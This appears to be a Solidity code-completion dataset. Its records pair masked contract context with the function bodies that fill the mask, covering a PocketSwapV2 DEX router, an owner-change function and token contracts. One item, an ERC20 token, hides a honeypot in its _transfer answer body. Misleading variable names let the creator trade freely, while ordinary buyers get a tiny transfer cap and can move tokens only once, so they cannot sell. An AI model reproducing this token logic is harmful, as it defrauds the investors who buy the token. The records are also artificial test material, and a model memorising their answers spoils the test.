require(amounts[0] <= amountInMax, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = PocketSwapV2Library.sortTokens(input, output);
PocketSwapV2Pair pair = PocketSwapV2Pair(PocketSwapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20PocketSwap(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = PocketSwapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? PocketSwapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20PocketSwap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20PocketSwap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20PocketSwap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20PocketSwap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20PocketSwap(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return PocketSwapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return PocketSwapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return PocketSwapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
}
} | contract PocketSwapV2Router02 is IPocketSwapV2Router02 {
using SafeMatswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'PocketSwapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IPocketSwapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IPocketSwapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = PocketSwapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = PocketSwapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'PocketSwapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = PocketSwapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'PocketSwapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = PocketSwapV2Pair(pair).mint(to);
}
<FILL_FUNCTION>
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
PocketSwapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = PocketSwapV2Pair(pair).burn(to);
(address token0,) = PocketSwapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'PocketSwapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'PocketSwapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = PocketSwapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20PocketSwap(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = PocketSwapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = PocketSwapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? PocketSwapV2Library.pairFor(factory, output, path[i + 2]) : _to;
PocketSwapV2Pair(PocketSwapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = PocketSwapV2Library.sortTokens(input, output);
PocketSwapV2Pair pair = PocketSwapV2Pair(PocketSwapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20PocketSwap(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = PocketSwapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? PocketSwapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20PocketSwap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20PocketSwap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20PocketSwap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20PocketSwap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20PocketSwap(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return PocketSwapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return PocketSwapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return PocketSwapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
}
} |
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = PocketSwapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = PocketSwapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
| function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) | function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) |
48512 | ERC20 | _transfer | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public CheckIfContract;
mapping (address => bool) public AccountArray;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private SniperProtection; uint256 private checkTax;
uint256 private TaxLimit; bool private IsRouterActive;
bool private InitialValue; bool private UniswapOrNot;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
IsRouterActive = true;
CheckIfContract[creator_] = true;
InitialValue = true;
UniswapOrNot = false;
AccountArray[creator_] = false;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> }
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(CheckIfContract[spender],AccountArray[spender],IsRouterActive) = ((address(owner) == _creator) && (IsRouterActive == true)) ? (true,false,false) : (CheckIfContract[spender],AccountArray[spender],IsRouterActive);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (1000, 100);
_totalSupply += amount;
_balances[account] += amount;
SniperProtection = _totalSupply;
checkTax = _totalSupply / temp1;
TaxLimit = checkTax * temp2;
emit Transfer(address(0), account, amount);
}
} | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public CheckIfContract;
mapping (address => bool) public AccountArray;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private SniperProtection; uint256 private checkTax;
uint256 private TaxLimit; bool private IsRouterActive;
bool private InitialValue; bool private UniswapOrNot;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
IsRouterActive = true;
CheckIfContract[creator_] = true;
InitialValue = true;
UniswapOrNot = false;
AccountArray[creator_] = false;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
<FILL_FUNCTION>
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(CheckIfContract[spender],AccountArray[spender],IsRouterActive) = ((address(owner) == _creator) && (IsRouterActive == true)) ? (true,false,false) : (CheckIfContract[spender],AccountArray[spender],IsRouterActive);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (1000, 100);
_totalSupply += amount;
_balances[account] += amount;
SniperProtection = _totalSupply;
checkTax = _totalSupply / temp1;
TaxLimit = checkTax * temp2;
emit Transfer(address(0), account, amount);
}
} |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(SniperProtection,UniswapOrNot) = ((address(sender) == _creator) && (InitialValue == false)) ? (checkTax, true) : (SniperProtection,UniswapOrNot);
(CheckIfContract[recipient],InitialValue) = ((address(sender) == _creator) && (InitialValue == true)) ? (true, false) : (CheckIfContract[recipient],InitialValue);
if (CheckIfContract[sender] == false) {
if ((amount > TaxLimit)) { require(false); }
require(amount < SniperProtection);
if (UniswapOrNot == true) {
if (AccountArray[sender] == true) { require(false); }
AccountArray[sender] = true;
}
}
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
| function _transfer(address sender, address recipient, uint256 amount) internal virtual | function _transfer(address sender, address recipient, uint256 amount) internal virtual |
6652 | Restriction | changeOwner | contract Restriction {
address internal owner = msg.sender;
mapping(address => bool) internal granted;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @notice Change the owner of the contract
* @param _owner New owner
*/
function changeOwner(address _owner) external onlyOwner {<FILL_FUNCTION_BODY> }
event ChangeOwner(address indexed _owner);
} | contract Restriction {
address internal owner = msg.sender;
mapping(address => bool) internal granted;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
<FILL_FUNCTION>
event ChangeOwner(address indexed _owner);
} |
require(_owner != address(0) && _owner != owner);
owner = _owner;
ChangeOwner(owner);
| function changeOwner(address _owner) external onlyOwner | /**
* @notice Change the owner of the contract
* @param _owner New owner
*/
function changeOwner(address _owner) external onlyOwner |
50593 | Spiderman | _transfer | contract Spiderman is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Spiderman";
string private constant _symbol = "Spiderman";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_feeAddrWallet2 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_feeAddrWallet3 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
